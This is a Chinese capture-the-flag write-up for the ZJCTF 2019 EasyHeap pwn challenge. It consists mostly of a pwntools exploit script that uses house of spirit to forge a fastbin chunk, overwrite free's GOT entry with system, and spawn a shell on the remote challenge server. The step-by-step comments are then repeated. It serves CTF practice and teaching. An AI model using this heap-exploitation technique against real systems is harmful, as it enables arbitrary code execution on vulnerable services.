[ZJCTF 2019]EasyHeap-house of spirit
[ZJCTF 2019]EasyHeap-house of spirit
- 先给出exp,exp中我标明了每一个步骤
- 每个步骤执行完后,内存中的地址空间我也贴出来了
exp
from pwn import *
p = remote('node3.buuoj.cn',29012)
#p = process('./easyheap')
context.log_level = 'debug'
def creat(size,content):p.sendlineafter('Your choice :',str(1))p.sendlineafter('Size of Heap : ',str(size))p.sendafter('Content of heap:',content)def edit(index,size,content):p.sendlineafter('Your choice :',str(2))p.sendlineafter('Index :',str(index))p.sendlineafter('Size of Heap : ',str(size))p.sendafter('Content of heap : ',content)def delete(index):p.sendlineafter('Your choice :',str(3))p.sendlineafter('Index :',str(index))
#step1 创建3个chunk
creat(0x60,'a'*0x58) #0
creat(0x60,'b'*0x60) #1
creat(0x60,'c'*0x60) #2
#step2 释放chunk2
delete(2)#step3 修改chunk1 中的内容为 /bin/sh 同时将chunk2 释放出来fast bin 的 fd 指针指向fake chunk
payload = b'/bin/sh\x00' +b'\x00'*0x60 + p64(0x71) + p64(0x6020ad)
edit(1,len(payload),payload)#step4 连续申请两次,得到的chunk2 就是我们在heaparray 附近的fake chunk
creat(0x60,'a')
creat(0x60,'aaa')#step5 通过编辑chunk0,修改free_got 为 system_plt
elf = ELF('./easyheap')
payload = b'a'*3 + p64(0)*4 + p64(elf.got['free'])
edit(3,len(payload),payload)
edit(0,8,p64(elf.plt['system']))#step6 释放chunk1,会执行free(chunk1中的内容),即system('/bin/sh')
delete(1)
p.interactive()
step1 创建3个chunk
step2 释放chunk2
step3 修改chunk1 中的内容为 /bin/sh 同时将chunk2 释放出来fast bin 的 fd 指针指向fake chunk
step4 连续申请两次,得到的chunk2 就是我们在heaparray 附近的fake chunk
step5 通过编辑chunk0,修改free_got 为 system_plt
step6 释放chunk1,会执行free(chunk1中的内容),即system(’/bin/sh’)
[ZJCTF 2019]EasyHeap-house of spirit相关推荐
- [BUUCTF-pwn]——[ZJCTF 2019]EasyHeap
[BUUCTF-pwn]--[ZJCTF 2019]EasyHeap 思路 我们第一个想法肯定是执行l33t这个函数,事实证明被摆了一道.没有结果, 但是我们有system函数我们可以将其放入我们可以 ...
- [BUUCTF-pwn]——[ZJCTF 2019]Login
[BUUCTF-pwn]--[ZJCTF 2019]Login 题目地址:https://buuoj.cn/challenges#[ZJCTF%202019]Login 这道题学习还是很多的, 有的时 ...
- [ZJCTF 2019]NiZhuanSiWei
[ZJCTF 2019]NiZhuanSiWei 这道题所有的考点我都了解过,甚至用来出过类似的题目,但是作者把它们套娃得非常不错,做下来感觉非常有意思! 考点 include 和 file_get_ ...
- 2021-09-01[ZJCTF 2019]NiZhuanSiWei
[ZJCTF 2019]NiZhuanSiWei 首先根据连接打开得到一个,PHP源码: 根据源码分析,我们需要GET三个参数分别是:text,file,password 首先需要检查是否对text传 ...
- 第二十四题——[ZJCTF 2019]NiZhuanSiWei
题目地址:https://buuoj.cn/challenges 解题思路 第一步:进入题目,展示了php代码 第二步:使用data协议绕过text参数检测 经过代码分析,text参数不能为空,且根据 ...
- PWN-PRACTICE-BUUCTF-9
PWN-PRACTICE-BUUCTF-9 [Black Watch 入群题]PWN jarvisoj_level4 picoctf_2018_rop chain [ZJCTF 2019]EasyHe ...
- 持续更新 BUUCTF——PWN(一)
文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
- PWN-PRACTICE-BUUCTF-13
PWN-PRACTICE-BUUCTF-13 [ZJCTF 2019]Login inndy_rop mrctf2020_shellcode jarvisoj_level1 [ZJCTF 2019]L ...
- BUUctf刷题第三天
[极客大挑战 2019]BuyFlag 进去是一个网页,查看源代码 说只有啥玩意的学生才能买,就抓包看看 发现cookie后面有个user=0,改成一试试 改完后说我是啥啥啥的学生了可以支付购买了 结 ...
最新文章
- 一分钟AI | 腾讯市值超5000亿美元创亚洲最高!CV杀红脸了:AI国家队云从科技完成25亿B轮融资
- First day in 聚美
- 浅析volatile原理及其使用
- python开发板比较_再不学点Python,咱真老了--Adafruit Metro M0 Express开发板评测
- 谷歌发布TensorFlow 1.4与TensorFlow Lattice:利用先验知识提升模型准确度 搜狐科技 10-12 15:29 选自:Google Research Blog 参与:李泽南、
- wex5 app应用 定时退出
- RocketMQ如何解决分布式事务
- sublime 3 前端神器详细 安装教程
- [每日更新-MySQL基础]-1.认识MySQL
- matlab 对数函数表示,matlab对数函数怎么表示
- 秀!靠这篇我竟然2天理解了CAN协议!实战STM32F4 CAN!
- 公共DNS推荐及dns测速
- The North American Invitational Programming Contest 2016 I-Tourists
- iPhone换屏幕测试软件,怎样检验iPhone是否更换过屏幕?
- MPC5748G笔记 CAN can_pal
- 一个屌丝程序员的青春(一三二)
- mysql字符串类型建立全文索引
- 在ubuntu16.04下,使用unrar解压缩rar文件
- 酷我音乐盒破解教程(一)
- UG二次开发技术的研究